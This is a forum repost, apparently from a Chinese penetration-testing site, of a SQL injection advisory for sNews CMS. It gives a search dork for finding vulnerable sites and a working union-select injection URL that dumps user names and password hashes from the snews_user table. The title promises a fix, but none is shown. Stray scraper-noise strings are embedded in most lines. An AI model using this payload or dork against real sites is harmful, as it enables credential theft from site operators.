中国网络渗透测试联盟

标题: CMS snews SQL注射及修复 [打印本页]
作者: admin    时间: 2013-1-23 08:55
标题: CMS snews SQL注射及修复
标题: CMS snews SQL Injection Vulnerability" l3 F% r  K- B4 B
作者: By onestree
7 h4 i$ R. [' c5 H6 \, p, n下载地址 : http://snewscms.com/
1 [4 a: B( j/ \$ R9 u测试平台 : ubuntu 12.10 / win 7  K. N7 z2 z0 D8 ~8 A
关键词: inurl:"tanyakan pada rumput yang bergoyang"- f. {  c6 Q7 \$ M

+ X3 ~* p8 _3 \6 w1 { 1 W, B1 _# Z0 a! B3 z
*************************************************************+ a, V2 n% ?6 Z) I
0 p7 w( u) [' [6 O5 C- W
SQL poc:/ y; Z1 J! H* z5 C! }

9 Y& ^4 X, b. B, d/ xhttp://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]: \4 ]: m9 @7 E; h8 D0 Y+ J
- ~6 E$ ~7 A! _5 M8 h/ Y, W" u9 h
示例& i7 e/ p: z( G, U9 ~

1 D$ q$ l: V+ F% _, r" _http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*
9 Z- ]3 w& i' `' }# R# H
2 H' \& R/ ^- o
  `% V3 f. J) O# c& G致谢:
1 T+ {! S: P$ i6 {; k3 c
% E  _0 p1 U- `/ q- a1 {  Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell+ c; _  f. v! n0 ~" H
     5 L0 U) R2 P0 H8 X, v  r5 P2 ^
          indonesiancoder - moeslimh4x0r - go-coder
# f! m/ J9 J7 ~  i9 t 3 c  J$ j* o1 I& B  X
spesial my hunny :*' {; t! k* t7 G8 W' L




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2